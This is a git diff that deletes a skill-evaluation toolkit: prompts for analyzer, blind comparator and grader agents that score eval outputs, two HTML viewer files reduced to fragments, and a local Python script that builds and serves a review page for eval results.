[ - "Did not use the skill's formatting template", - "Invented own approach instead of following step 3", - "Missed the 'always validate output' instruction" - ] - } - }, - "improvement_suggestions": [ - { - "priority": "high", - "category": "instructions", - "suggestion": "Replace 'process the document appropriately' with explicit steps: 1) Extract text, 2) Identify sections, 3) Format per template", - "expected_impact": "Would eliminate ambiguity that caused inconsistent behavior" - }, - { - "priority": "high", - "category": "tools", - "suggestion": "Add validate_output.py script similar to winner skill's validation approach", - "expected_impact": "Would catch formatting errors before final output" - }, - { - "priority": "medium", - "category": "error_handling", - "suggestion": "Add fallback instructions: 'If OCR fails, try: 1) different resolution, 2) image preprocessing, 3) manual extraction'", - "expected_impact": "Would prevent early failure on difficult documents" - } - ], - "transcript_insights": { - "winner_execution_pattern": "Read skill -> Followed 5-step process -> Used validation script -> Fixed 2 issues -> Produced output", - "loser_execution_pattern": "Read skill -> Unclear on approach -> Tried 3 different methods -> No validation -> Output had errors" - } -} -``` - -## Guidelines - -- **Be specific**: Quote from skills and transcripts, don't just say "instructions were unclear" -- **Be actionable**: Suggestions should be concrete changes, not vague advice -- **Focus on skill improvements**: The goal is to improve the losing skill, not critique the agent -- **Prioritize by impact**: Which changes would most likely have changed the outcome? -- **Consider causation**: Did the skill weakness actually cause the worse output, or is it incidental? -- **Stay objective**: Analyze what happened, don't editorialize -- **Think about generalization**: Would this improvement help on other evals too? - -## Categories for Suggestions - -Use these categories to organize improvement suggestions: - -| Category | Description | -|----------|-------------| -| `instructions` | Changes to the skill's prose instructions | -| `tools` | Scripts, templates, or utilities to add/modify | -| `examples` | Example inputs/outputs to include | -| `error_handling` | Guidance for handling failures | -| `structure` | Reorganization of skill content | -| `references` | External docs or resources to add | - -## Priority Levels - -- **high**: Would likely change the outcome of this comparison -- **medium**: Would improve quality but may not change win/loss -- **low**: Nice to have, marginal improvement - ---- - -# Analyzing Benchmark Results - -When analyzing benchmark results, the analyzer's purpose is to **surface patterns and anomalies** across multiple runs, not suggest skill improvements. - -## Role - -Review all benchmark run results and generate freeform notes that help the user understand skill performance. Focus on patterns that wouldn't be visible from aggregate metrics alone. - -## Inputs - -You receive these parameters in your prompt: - -- **benchmark_data_path**: Path to the in-progress benchmark.json with all run results -- **skill_path**: Path to the skill being benchmarked -- **output_path**: Where to save the notes (as JSON array of strings) - -## Process - -### Step 1: Read Benchmark Data - -1. Read the benchmark.json containing all run results -2. Note the configurations tested (with_skill, without_skill) -3. Understand the run_summary aggregates already calculated - -### Step 2: Analyze Per-Assertion Patterns - -For each expectation across all runs: -- Does it **always pass** in both configurations? (may not differentiate skill value) -- Does it **always fail** in both configurations? (may be broken or beyond capability) -- Does it **always pass with skill but fail without**? (skill clearly adds value here) -- Does it **always fail with skill but pass without**? (skill may be hurting) -- Is it **highly variable**? (flaky expectation or non-deterministic behavior) - -### Step 3: Analyze Cross-Eval Patterns - -Look for patterns across evals: -- Are certain eval types consistently harder/easier? -- Do some evals show high variance while others are stable? -- Are there surprising results that contradict expectations? - -### Step 4: Analyze Metrics Patterns - -Look at time_seconds, tokens, tool_calls: -- Does the skill significantly increase execution time? -- Is there high variance in resource usage? -- Are there outlier runs that skew the aggregates? - -### Step 5: Generate Notes - -Write freeform observations as a list of strings. Each note should: -- State a specific observation -- Be grounded in the data (not speculation) -- Help the user understand something the aggregate metrics don't show - -Examples: -- "Assertion 'Output is a PDF file' passes 100% in both configurations - may not differentiate skill value" -- "Eval 3 shows high variance (50% ± 40%) - run 2 had an unusual failure that may be flaky" -- "Without-skill runs consistently fail on table extraction expectations (0% pass rate)" -- "Skill adds 13s average execution time but improves pass rate by 50%" -- "Token usage is 80% higher with skill, primarily due to script output parsing" -- "All 3 without-skill runs for eval 1 produced empty output" - -### Step 6: Write Notes - -Save notes to `{output_path}` as a JSON array of strings: - -```json -[ - "Assertion 'Output is a PDF file' passes 100% in both configurations - may not differentiate skill value", - "Eval 3 shows high variance (50% ± 40%) - run 2 had an unusual failure", - "Without-skill runs consistently fail on table extraction expectations", - "Skill adds 13s average execution time but improves pass rate by 50%" -] -``` - -## Guidelines - -**DO:** -- Report what you observe in the data -- Be specific about which evals, expectations, or runs you're referring to -- Note patterns that aggregate metrics would hide -- Provide context that helps interpret the numbers - -**DO NOT:** -- Suggest improvements to the skill (that's for the improvement step, not benchmarking) -- Make subjective quality judgments ("the output was good/bad") -- Speculate about causes without evidence -- Repeat information already in the run_summary aggregates diff --git a/.claude/skills/skill-creator/agents/comparator.md b/.claude/skills/skill-creator/agents/comparator.md deleted file mode 100644 index 80e00eb4..00000000 --- a/.claude/skills/skill-creator/agents/comparator.md +++ /dev/null @@ -1,202 +0,0 @@ -# Blind Comparator Agent - -Compare two outputs WITHOUT knowing which skill produced them. - -## Role - -The Blind Comparator judges which output better accomplishes the eval task. You receive two outputs labeled A and B, but you do NOT know which skill produced which. This prevents bias toward a particular skill or approach. - -Your judgment is based purely on output quality and task completion. - -## Inputs - -You receive these parameters in your prompt: - -- **output_a_path**: Path to the first output file or directory -- **output_b_path**: Path to the second output file or directory -- **eval_prompt**: The original task/prompt that was executed -- **expectations**: List of expectations to check (optional - may be empty) - -## Process - -### Step 1: Read Both Outputs - -1. Examine output A (file or directory) -2. Examine output B (file or directory) -3. Note the type, structure, and content of each -4. If outputs are directories, examine all relevant files inside - -### Step 2: Understand the Task - -1. Read the eval_prompt carefully -2. Identify what the task requires: - - What should be produced? - - What qualities matter (accuracy, completeness, format)? - - What would distinguish a good output from a poor one? - -### Step 3: Generate Evaluation Rubric - -Based on the task, generate a rubric with two dimensions: - -**Content Rubric** (what the output contains): -| Criterion | 1 (Poor) | 3 (Acceptable) | 5 (Excellent) | -|-----------|----------|----------------|---------------| -| Correctness | Major errors | Minor errors | Fully correct | -| Completeness | Missing key elements | Mostly complete | All elements present | -| Accuracy | Significant inaccuracies | Minor inaccuracies | Accurate throughout | - -**Structure Rubric** (how the output is organized): -| Criterion | 1 (Poor) | 3 (Acceptable) | 5 (Excellent) | -|-----------|----------|----------------|---------------| -| Organization | Disorganized | Reasonably organized | Clear, logical structure | -| Formatting | Inconsistent/broken | Mostly consistent | Professional, polished | -| Usability | Difficult to use | Usable with effort | Easy to use | - -Adapt criteria to the specific task. For example: -- PDF form → "Field alignment", "Text readability", "Data placement" -- Document → "Section structure", "Heading hierarchy", "Paragraph flow" -- Data output → "Schema correctness", "Data types", "Completeness" - -### Step 4: Evaluate Each Output Against the Rubric - -For each output (A and B): - -1. **Score each criterion** on the rubric (1-5 scale) -2. **Calculate dimension totals**: Content score, Structure score -3. **Calculate overall score**: Average of dimension scores, scaled to 1-10 - -### Step 5: Check Assertions (if provided) - -If expectations are provided: - -1. Check each expectation against output A -2. Check each expectation against output B -3. Count pass rates for each output -4. Use expectation scores as secondary evidence (not the primary decision factor) - -### Step 6: Determine the Winner - -Compare A and B based on (in priority order): - -1. **Primary**: Overall rubric score (content + structure) -2. **Secondary**: Assertion pass rates (if applicable) -3. **Tiebreaker**: If truly equal, declare a TIE - -Be decisive - ties should be rare. One output is usually better, even if marginally. - -### Step 7: Write Comparison Results - -Save results to a JSON file at the path specified (or `comparison.json` if not specified). - -## Output Format - -Write a JSON file with this structure: - -```json -{ - "winner": "A", - "reasoning": "Output A provides a complete solution with proper formatting and all required fields. Output B is missing the date field and has formatting inconsistencies.", - "rubric": { - "A": { - "content": { - "correctness": 5, - "completeness": 5, - "accuracy": 4 - }, - "structure": { - "organization": 4, - "formatting": 5, - "usability": 4 - }, - "content_score": 4.7, - "structure_score": 4.3, - "overall_score": 9.0 - }, - "B": { - "content": { - "correctness": 3, - "completeness": 2, - "accuracy": 3 - }, - "structure": { - "organization": 3, - "formatting": 2, - "usability": 3 - }, - "content_score": 2.7, - "structure_score": 2.7, - "overall_score": 5.4 - } - }, - "output_quality": { - "A": { - "score": 9, - "strengths": ["Complete solution", "Well-formatted", "All fields present"], - "weaknesses": ["Minor style inconsistency in header"] - }, - "B": { - "score": 5, - "strengths": ["Readable output", "Correct basic structure"], - "weaknesses": ["Missing date field", "Formatting inconsistencies", "Partial data extraction"] - } - }, - "expectation_results": { - "A": { - "passed": 4, - "total": 5, - "pass_rate": 0.80, - "details": [ - {"text": "Output includes name", "passed": true}, - {"text": "Output includes date", "passed": true}, - {"text": "Format is PDF", "passed": true}, - {"text": "Contains signature", "passed": false}, - {"text": "Readable text", "passed": true} - ] - }, - "B": { - "passed": 3, - "total": 5, - "pass_rate": 0.60, - "details": [ - {"text": "Output includes name", "passed": true}, - {"text": "Output includes date", "passed": false}, - {"text": "Format is PDF", "passed": true}, - {"text": "Contains signature", "passed": false}, - {"text": "Readable text", "passed": true} - ] - } - } -} -``` - -If no expectations were provided, omit the `expectation_results` field entirely. - -## Field Descriptions - -- **winner**: "A", "B", or "TIE" -- **reasoning**: Clear explanation of why the winner was chosen (or why it's a tie) -- **rubric**: Structured rubric evaluation for each output - - **content**: Scores for content criteria (correctness, completeness, accuracy) - - **structure**: Scores for structure criteria (organization, formatting, usability) - - **content_score**: Average of content criteria (1-5) - - **structure_score**: Average of structure criteria (1-5) - - **overall_score**: Combined score scaled to 1-10 -- **output_quality**: Summary quality assessment - - **score**: 1-10 rating (should match rubric overall_score) - - **strengths**: List of positive aspects - - **weaknesses**: List of issues or shortcomings -- **expectation_results**: (Only if expectations provided) - - **passed**: Number of expectations that passed - - **total**: Total number of expectations - - **pass_rate**: Fraction passed (0.0 to 1.0) - - **details**: Individual expectation results - -## Guidelines - -- **Stay blind**: DO NOT try to infer which skill produced which output. Judge purely on output quality. -- **Be specific**: Cite specific examples when explaining strengths and weaknesses. -- **Be decisive**: Choose a winner unless outputs are genuinely equivalent. -- **Output quality first**: Assertion scores are secondary to overall task completion. -- **Be objective**: Don't favor outputs based on style preferences; focus on correctness and completeness. -- **Explain your reasoning**: The reasoning field should make it clear why you chose the winner. -- **Handle edge cases**: If both outputs fail, pick the one that fails less badly. If both are excellent, pick the one that's marginally better. diff --git a/.claude/skills/skill-creator/agents/grader.md b/.claude/skills/skill-creator/agents/grader.md deleted file mode 100644 index 558ab05c..00000000 --- a/.claude/skills/skill-creator/agents/grader.md +++ /dev/null @@ -1,223 +0,0 @@ -# Grader Agent - -Evaluate expectations against an execution transcript and outputs. - -## Role - -The Grader reviews a transcript and output files, then determines whether each expectation passes or fails. Provide clear evidence for each judgment. - -You have two jobs: grade the outputs, and critique the evals themselves. A passing grade on a weak assertion is worse than useless — it creates false confidence. When you notice an assertion that's trivially satisfied, or an important outcome that no assertion checks, say so. - -## Inputs - -You receive these parameters in your prompt: - -- **expectations**: List of expectations to evaluate (strings) -- **transcript_path**: Path to the execution transcript (markdown file) -- **outputs_dir**: Directory containing output files from execution - -## Process - -### Step 1: Read the Transcript - -1. Read the transcript file completely -2. Note the eval prompt, execution steps, and final result -3. Identify any issues or errors documented - -### Step 2: Examine Output Files - -1. List files in outputs_dir -2. Read/examine each file relevant to the expectations. If outputs aren't plain text, use the inspection tools provided in your prompt — don't rely solely on what the transcript says the executor produced. -3. Note contents, structure, and quality - -### Step 3: Evaluate Each Assertion - -For each expectation: - -1. **Search for evidence** in the transcript and outputs -2. **Determine verdict**: - - **PASS**: Clear evidence the expectation is true AND the evidence reflects genuine task completion, not just surface-level compliance - - **FAIL**: No evidence, or evidence contradicts the expectation, or the evidence is superficial (e.g., correct filename but empty/wrong content) -3. **Cite the evidence**: Quote the specific text or describe what you found - -### Step 4: Extract and Verify Claims - -Beyond the predefined expectations, extract implicit claims from the outputs and verify them: - -1. **Extract claims** from the transcript and outputs: - - Factual statements ("The form has 12 fields") - - Process claims ("Used pypdf to fill the form") - - Quality claims ("All fields were filled correctly") - -2. **Verify each claim**: - - **Factual claims**: Can be checked against the outputs or external sources - - **Process claims**: Can be verified from the transcript - - **Quality claims**: Evaluate whether the claim is justified - -3. **Flag unverifiable claims**: Note claims that cannot be verified with available information - -This catches issues that predefined expectations might miss. - -### Step 5: Read User Notes - -If `{outputs_dir}/user_notes.md` exists: -1. Read it and note any uncertainties or issues flagged by the executor -2. Include relevant concerns in the grading output -3. These may reveal problems even when expectations pass - -### Step 6: Critique the Evals - -After grading, consider whether the evals themselves could be improved. Only surface suggestions when there's a clear gap. - -Good suggestions test meaningful outcomes — assertions that are hard to satisfy without actually doing the work correctly. Think about what makes an assertion *discriminating*: it passes when the skill genuinely succeeds and fails when it doesn't. - -Suggestions worth raising: -- An assertion that passed but would also pass for a clearly wrong output (e.g., checking filename existence but not file content) -- An important outcome you observed — good or bad — that no assertion covers at all -- An assertion that can't actually be verified from the available outputs - -Keep the bar high. The goal is to flag things the eval author would say "good catch" about, not to nitpick every assertion. - -### Step 7: Write Grading Results - -Save results to `{outputs_dir}/../grading.json` (sibling to outputs_dir). - -## Grading Criteria - -**PASS when**: -- The transcript or outputs clearly demonstrate the expectation is true -- Specific evidence can be cited -- The evidence reflects genuine substance, not just surface compliance (e.g., a file exists AND contains correct content, not just the right filename) - -**FAIL when**: -- No evidence found for the expectation -- Evidence contradicts the expectation -- The expectation cannot be verified from available information -- The evidence is superficial — the assertion is technically satisfied but the underlying task outcome is wrong or incomplete -- The output appears to meet the assertion by coincidence rather than by actually doing the work - -**When uncertain**: The burden of proof to pass is on the expectation. - -### Step 8: Read Executor Metrics and Timing - -1. If `{outputs_dir}/metrics.json` exists, read it and include in grading output -2. If `{outputs_dir}/../timing.json` exists, read it and include timing data - -## Output Format - -Write a JSON file with this structure: - -```json -{ - "expectations": [ - { - "text": "The output includes the name 'John Smith'", - "passed": true, - "evidence": "Found in transcript Step 3: 'Extracted names: John Smith, Sarah Johnson'" - }, - { - "text": "The spreadsheet has a SUM formula in cell B10", - "passed": false, - "evidence": "No spreadsheet was created. The output was a text file." - }, - { - "text": "The assistant used the skill's OCR script", - "passed": true, - "evidence": "Transcript Step 2 shows: 'Tool: Bash - python ocr_script.py image.png'" - } - ], - "summary": { - "passed": 2, - "failed": 1, - "total": 3, - "pass_rate": 0.67 - }, - "execution_metrics": { - "tool_calls": { - "Read": 5, - "Write": 2, - "Bash": 8 - }, - "total_tool_calls": 15, - "total_steps": 6, - "errors_encountered": 0, - "output_chars": 12450, - "transcript_chars": 3200 - }, - "timing": { - "executor_duration_seconds": 165.0, - "grader_duration_seconds": 26.0, - "total_duration_seconds": 191.0 - }, - "claims": [ - { - "claim": "The form has 12 fillable fields", - "type": "factual", - "verified": true, - "evidence": "Counted 12 fields in field_info.json" - }, - { - "claim": "All required fields were populated", - "type": "quality", - "verified": false, - "evidence": "Reference section was left blank despite data being available" - } - ], - "user_notes_summary": { - "uncertainties": ["Used 2023 data, may be stale"], - "needs_review": [], - "workarounds": ["Fell back to text overlay for non-fillable fields"] - }, - "eval_feedback": { - "suggestions": [ - { - "assertion": "The output includes the name 'John Smith'", - "reason": "A hallucinated document that mentions the name would also pass — consider checking it appears as the primary contact with matching phone and email from the input" - }, - { - "reason": "No assertion checks whether the extracted phone numbers match the input — I observed incorrect numbers in the output that went uncaught" - } - ], - "overall": "Assertions check presence but not correctness. Consider adding content verification." - } -} -``` - -## Field Descriptions - -- **expectations**: Array of graded expectations - - **text**: The original expectation text - - **passed**: Boolean - true if expectation passes - - **evidence**: Specific quote or description supporting the verdict -- **summary**: Aggregate statistics - - **passed**: Count of passed expectations - - **failed**: Count of failed expectations - - **total**: Total expectations evaluated - - **pass_rate**: Fraction passed (0.0 to 1.0) -- **execution_metrics**: Copied from executor's metrics.json (if available) - - **output_chars**: Total character count of output files (proxy for tokens) - - **transcript_chars**: Character count of transcript -- **timing**: Wall clock timing from timing.json (if available) - - **executor_duration_seconds**: Time spent in executor subagent - - **total_duration_seconds**: Total elapsed time for the run -- **claims**: Extracted and verified claims from the output - - **claim**: The statement being verified - - **type**: "factual", "process", or "quality" - - **verified**: Boolean - whether the claim holds - - **evidence**: Supporting or contradicting evidence -- **user_notes_summary**: Issues flagged by the executor - - **uncertainties**: Things the executor wasn't sure about - - **needs_review**: Items requiring human attention - - **workarounds**: Places where the skill didn't work as expected -- **eval_feedback**: Improvement suggestions for the evals (only when warranted) - - **suggestions**: List of concrete suggestions, each with a `reason` and optionally an `assertion` it relates to - - **overall**: Brief assessment — can be "No suggestions, evals look solid" if nothing to flag - -## Guidelines - -- **Be objective**: Base verdicts on evidence, not assumptions -- **Be specific**: Quote the exact text that supports your verdict -- **Be thorough**: Check both transcript and output files -- **Be consistent**: Apply the same standard to each expectation -- **Explain failures**: Make it clear why evidence was insufficient -- **No partial credit**: Each expectation is pass or fail, not partial diff --git a/.claude/skills/skill-creator/assets/eval_review.html b/.claude/skills/skill-creator/assets/eval_review.html deleted file mode 100644 index 938ff32a..00000000 --- a/.claude/skills/skill-creator/assets/eval_review.html +++ /dev/null @@ -1,146 +0,0 @@ - - - - - - Eval Set Review - __SKILL_NAME_PLACEHOLDER__ - - - - - - -

Eval Set Review: __SKILL_NAME_PLACEHOLDER__

-

Current description: __SKILL_DESCRIPTION_PLACEHOLDER__

- -
- - -
- - - - - - - - - - -
QueryShould TriggerActions
- -

- - - - diff --git a/.claude/skills/skill-creator/eval-viewer/generate_review.py b/.claude/skills/skill-creator/eval-viewer/generate_review.py deleted file mode 100644 index 7fa59786..00000000 --- a/.claude/skills/skill-creator/eval-viewer/generate_review.py +++ /dev/null @@ -1,471 +0,0 @@ -#!/usr/bin/env python3 -"""Generate and serve a review page for eval results. - -Reads the workspace directory, discovers runs (directories with outputs/), -embeds all output data into a self-contained HTML page, and serves it via -a tiny HTTP server. Feedback auto-saves to feedback.json in the workspace. - -Usage: - python generate_review.py [--port PORT] [--skill-name NAME] - python generate_review.py --previous-feedback /path/to/old/feedback.json - -No dependencies beyond the Python stdlib are required. -""" - -import argparse -import base64 -import json -import mimetypes -import os -import re -import signal -import subprocess -import sys -import time -import webbrowser -from functools import partial -from http.server import HTTPServer, BaseHTTPRequestHandler -from pathlib import Path - -# Files to exclude from output listings -METADATA_FILES = {"transcript.md", "user_notes.md", "metrics.json"} - -# Extensions we render as inline text -TEXT_EXTENSIONS = { - ".txt", ".md", ".json", ".csv", ".py", ".js", ".ts", ".tsx", ".jsx", - ".yaml", ".yml", ".xml", ".html", ".css", ".sh", ".rb", ".go", ".rs", - ".java", ".c", ".cpp", ".h", ".hpp", ".sql", ".r", ".toml", -} - -# Extensions we render as inline images -IMAGE_EXTENSIONS = {".png", ".jpg", ".jpeg", ".gif", ".svg", ".webp"} - -# MIME type overrides for common types -MIME_OVERRIDES = { - ".svg": "image/svg+xml", - ".xlsx": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", - ".docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document", - ".pptx": "application/vnd.openxmlformats-officedocument.presentationml.presentation", -} - - -def get_mime_type(path: Path) -> str: - ext = path.suffix.lower() - if ext in MIME_OVERRIDES: - return MIME_OVERRIDES[ext] - mime, _ = mimetypes.guess_type(str(path)) - return mime or "application/octet-stream" - - -def find_runs(workspace: Path) -> list[dict]: - """Recursively find directories that contain an outputs/ subdirectory.""" - runs: list[dict] = [] - _find_runs_recursive(workspace, workspace, runs) - runs.sort(key=lambda r: (r.get("eval_id", float("inf")), r["id"])) - return runs - - -def _find_runs_recursive(root: Path, current: Path, runs: list[dict]) -> None: - if not current.is_dir(): - return - - outputs_dir = current / "outputs" - if outputs_dir.is_dir(): - run = build_run(root, current) - if run: - runs.append(run) - return - - skip = {"node_modules", ".git", "__pycache__", "skill", "inputs"} - for child in sorted(current.iterdir()): - if child.is_dir() and child.name not in skip: - _find_runs_recursive(root, child, runs) - - -def build_run(root: Path, run_dir: Path) -> dict | None: - """Build a run dict with prompt, outputs, and grading data.""" - prompt = "" - eval_id = None - - # Try eval_metadata.json - for candidate in [run_dir / "eval_metadata.json", run_dir.parent / "eval_metadata.json"]: - if candidate.exists(): - try: - metadata = json.loads(candidate.read_text()) - prompt = metadata.get("prompt", "") - eval_id = metadata.get("eval_id") - except (json.JSONDecodeError, OSError): - pass - if prompt: - break - - # Fall back to transcript.md - if not prompt: - for candidate in [run_dir / "transcript.md", run_dir / "outputs" / "transcript.md"]: - if candidate.exists(): - try: - text = candidate.read_text() - match = re.search(r"## Eval Prompt\n\n([\s\S]*?)(?=\n##|$)", text) - if match: - prompt = match.group(1).strip() - except OSError: - pass - if prompt: - break - - if not prompt: - prompt = "(No prompt found)" - - run_id = str(run_dir.relative_to(root)).replace("/", "-").replace("\\", "-") - - # Collect output files - outputs_dir = run_dir / "outputs" - output_files: list[dict] = [] - if outputs_dir.is_dir(): - for f in sorted(outputs_dir.iterdir()): - if f.is_file() and f.name not in METADATA_FILES: - output_files.append(embed_file(f)) - - # Load grading if present - grading = None - for candidate in [run_dir / "grading.json", run_dir.parent / "grading.json"]: - if candidate.exists(): - try: - grading = json.loads(candidate.read_text()) - except (json.JSONDecodeError, OSError): - pass - if grading: - break - - return { - "id": run_id, - "prompt": prompt, - "eval_id": eval_id, - "outputs": output_files, - "grading": grading, - } - - -def embed_file(path: Path) -> dict: - """Read a file and return an embedded representation.""" - ext = path.suffix.lower() - mime = get_mime_type(path) - - if ext in TEXT_EXTENSIONS: - try: - content = path.read_text(errors="replace") - except OSError: - content = "(Error reading file)" - return { - "name": path.name, - "type": "text", - "content": content, - } - elif ext in IMAGE_EXTENSIONS: - try: - raw = path.read_bytes() - b64 = base64.b64encode(raw).decode("ascii") - except OSError: - return {"name": path.name, "type": "error", "content": "(Error reading file)"} - return { - "name": path.name, - "type": "image", - "mime": mime, - "data_uri": f"data:{mime};base64,{b64}", - } - elif ext == ".pdf": - try: - raw = path.read_bytes() - b64 = base64.b64encode(raw).decode("ascii") - except OSError: - return {"name": path.name, "type": "error", "content": "(Error reading file)"} - return { - "name": path.name, - "type": "pdf", - "data_uri": f"data:{mime};base64,{b64}", - } - elif ext == ".xlsx": - try: - raw = path.read_bytes() - b64 = base64.b64encode(raw).decode("ascii") - except OSError: - return {"name": path.name, "type": "error", "content": "(Error reading file)"} - return { - "name": path.name, - "type": "xlsx", - "data_b64": b64, - } - else: - # Binary / unknown — base64 download link - try: - raw = path.read_bytes() - b64 = base64.b64encode(raw).decode("ascii") - except OSError: - return {"name": path.name, "type": "error", "content": "(Error reading file)"} - return { - "name": path.name, - "type": "binary", - "mime": mime, - "data_uri": f"data:{mime};base64,{b64}", - } - - -def load_previous_iteration(workspace: Path) -> dict[str, dict]: - """Load previous iteration's feedback and outputs. - - Returns a map of run_id -> {"feedback": str, "outputs": list[dict]}. - """ - result: dict[str, dict] = {} - - # Load feedback - feedback_map: dict[str, str] = {} - feedback_path = workspace / "feedback.json" - if feedback_path.exists(): - try: - data = json.loads(feedback_path.read_text()) - feedback_map = { - r["run_id"]: r["feedback"] - for r in data.get("reviews", []) - if r.get("feedback", "").strip() - } - except (json.JSONDecodeError, OSError, KeyError): - pass - - # Load runs (to get outputs) - prev_runs = find_runs(workspace) - for run in prev_runs: - result[run["id"]] = { - "feedback": feedback_map.get(run["id"], ""), - "outputs": run.get("outputs", []), - } - - # Also add feedback for run_ids that had feedback but no matching run - for run_id, fb in feedback_map.items(): - if run_id not in result: - result[run_id] = {"feedback": fb, "outputs": []} - - return result - - -def generate_html( - runs: list[dict], - skill_name: str, - previous: dict[str, dict] | None = None, - benchmark: dict | None = None, -) -> str: - """Generate the complete standalone HTML page with embedded data.""" - template_path = Path(__file__).parent / "viewer.html" - template = template_path.read_text() - - # Build previous_feedback and previous_outputs maps for the template - previous_feedback: dict[str, str] = {} - previous_outputs: dict[str, list[dict]] = {} - if previous: - for run_id, data in previous.items(): - if data.get("feedback"): - previous_feedback[run_id] = data["feedback"] - if data.get("outputs"): - previous_outputs[run_id] = data["outputs"] - - embedded = { - "skill_name": skill_name, - "runs": runs, - "previous_feedback": previous_feedback, - "previous_outputs": previous_outputs, - } - if benchmark: - embedded["benchmark"] = benchmark - - data_json = json.dumps(embedded) - - return template.replace("/*__EMBEDDED_DATA__*/", f"const EMBEDDED_DATA = {data_json};") - - -# --------------------------------------------------------------------------- -# HTTP server (stdlib only, zero dependencies) -# --------------------------------------------------------------------------- - -def _kill_port(port: int) -> None: - """Kill any process listening on the given port.""" - try: - result = subprocess.run( - ["lsof", "-ti", f":{port}"], - capture_output=True, text=True, timeout=5, - ) - for pid_str in result.stdout.strip().split("\n"): - if pid_str.strip(): - try: - os.kill(int(pid_str.strip()), signal.SIGTERM) - except (ProcessLookupError, ValueError): - pass - if result.stdout.strip(): - time.sleep(0.5) - except subprocess.TimeoutExpired: - pass - except FileNotFoundError: - print("Note: lsof not found, cannot check if port is in use", file=sys.stderr) - -class ReviewHandler(BaseHTTPRequestHandler): - """Serves the review HTML and handles feedback saves. - - Regenerates the HTML on each page load so that refreshing the browser - picks up new eval outputs without restarting the server. - """ - - def __init__( - self, - workspace: Path, - skill_name: str, - feedback_path: Path, - previous: dict[str, dict], - benchmark_path: Path | None, - *args, - **kwargs, - ): - self.workspace = workspace - self.skill_name = skill_name - self.feedback_path = feedback_path - self.previous = previous - self.benchmark_path = benchmark_path - super().__init__(*args, **kwargs) - - def do_GET(self) -> None: - if self.path == "/" or self.path == "/index.html": - # Regenerate HTML on each request (re-scans workspace for new outputs) - runs = find_runs(self.workspace) - benchmark = None - if self.benchmark_path and self.benchmark_path.exists(): - try: - benchmark = json.loads(self.benchmark_path.read_text()) - except (json.JSONDecodeError, OSError): - pass - html = generate_html(runs, self.skill_name, self.previous, benchmark) - content = html.encode("utf-8") - self.send_response(200) - self.send_header("Content-Type", "text/html; charset=utf-8") - self.send_header("Content-Length", str(len(content))) - self.end_headers() - self.wfile.write(content) - elif self.path == "/api/feedback": - data = b"{}" - if self.feedback_path.exists(): - data = self.feedback_path.read_bytes() - self.send_response(200) - self.send_header("Content-Type", "application/json") - self.send_header("Content-Length", str(len(data))) - self.end_headers() - self.wfile.write(data) - else: - self.send_error(404) - - def do_POST(self) -> None: - if self.path == "/api/feedback": - length = int(self.headers.get("Content-Length", 0)) - body = self.rfile.read(length) - try: - data = json.loads(body) - if not isinstance(data, dict) or "reviews" not in data: - raise ValueError("Expected JSON object with 'reviews' key") - self.feedback_path.write_text(json.dumps(data, indent=2) + "\n") - resp = b'{"ok":true}' - self.send_response(200) - except (json.JSONDecodeError, OSError, ValueError) as e: - resp = json.dumps({"error": str(e)}).encode() - self.send_response(500) - self.send_header("Content-Type", "application/json") - self.send_header("Content-Length", str(len(resp))) - self.end_headers() - self.wfile.write(resp) - else: - self.send_error(404) - - def log_message(self, format: str, *args: object) -> None: - # Suppress request logging to keep terminal clean - pass - - -def main() -> None: - parser = argparse.ArgumentParser(description="Generate and serve eval review") - parser.add_argument("workspace", type=Path, help="Path to workspace directory") - parser.add_argument("--port", "-p", type=int, default=3117, help="Server port (default: 3117)") - parser.add_argument("--skill-name", "-n", type=str, default=None, help="Skill name for header") - parser.add_argument( - "--previous-workspace", type=Path, default=None, - help="Path to previous iteration's workspace (shows old outputs and feedback as context)", - ) - parser.add_argument( - "--benchmark", type=Path, default=None, - help="Path to benchmark.json to show in the Benchmark tab", - ) - parser.add_argument( - "--static", "-s", type=Path, default=None, - help="Write standalone HTML to this path instead of starting a server", - ) - args = parser.parse_args() - - workspace = args.workspace.resolve() - if not workspace.is_dir(): - print(f"Error: {workspace} is not a directory", file=sys.stderr) - sys.exit(1) - - runs = find_runs(workspace) - if not runs: - print(f"No runs found in {workspace}", file=sys.stderr) - sys.exit(1) - - skill_name = args.skill_name or workspace.name.replace("-workspace", "") - feedback_path = workspace / "feedback.json" - - previous: dict[str, dict] = {} - if args.previous_workspace: - previous = load_previous_iteration(args.previous_workspace.resolve()) - - benchmark_path = args.benchmark.resolve() if args.benchmark else None - benchmark = None - if benchmark_path and benchmark_path.exists(): - try: - benchmark = json.loads(benchmark_path.read_text()) - except (json.JSONDecodeError, OSError): - pass - - if args.static: - html = generate_html(runs, skill_name, previous, benchmark) - args.static.parent.mkdir(parents=True, exist_ok=True) - args.static.write_text(html) - print(f"\n Static viewer written to: {args.static}\n") - sys.exit(0) - - # Kill any existing process on the target port - port = args.port - _kill_port(port) - handler = partial(ReviewHandler, workspace, skill_name, feedback_path, previous, benchmark_path) - try: - server = HTTPServer(("127.0.0.1", port), handler) - except OSError: - # Port still in use after kill attempt — find a free one - server = HTTPServer(("127.0.0.1", 0), handler) - port = server.server_address[1] - - url = f"http://localhost:{port}" - print(f"\n Eval Viewer") - print(f" ─────────────────────────────────") - print(f" URL: {url}") - print(f" Workspace: {workspace}") - print(f" Feedback: {feedback_path}") - if previous: - print(f" Previous: {args.previous_workspace} ({len(previous)} runs)") - if benchmark_path: - print(f" Benchmark: {benchmark_path}") - print(f"\n Press Ctrl+C to stop.\n") - - webbrowser.open(url) - - try: - server.serve_forever() - except KeyboardInterrupt: - print("\nStopped.") - server.server_close() - - -if __name__ == "__main__": - main() diff --git a/.claude/skills/skill-creator/eval-viewer/viewer.html b/.claude/skills/skill-creator/eval-viewer/viewer.html deleted file mode 100644 index 6d8e9634..00000000 --- a/.claude/skills/skill-creator/eval-viewer/viewer.html +++ /dev/null @@ -1,1325 +0,0 @@ - - - - - - Eval Review - - - - - - - -
-
-
-

Eval Review:

-
Review each output and leave feedback below. Navigate with arrow keys or buttons. When done, copy feedback and paste into Claude Code.
-
-
-
- - - - - -
-
- -
-
Prompt
-
-
-
-
- - -
-
Output
-
-
No output files found
-
-
- - - - - - - - -
-
Your Feedback
-
- - - -
-
-
- - -
- - -
-
-
No benchmark data available. Run a benchmark to see quantitative results here.
-
-
-
- - -
-
-

Review Complete

-

Your feedback has been saved. Go back to your Claude Code session and tell Claude you're done reviewing.

-
- -
-
-
- - -
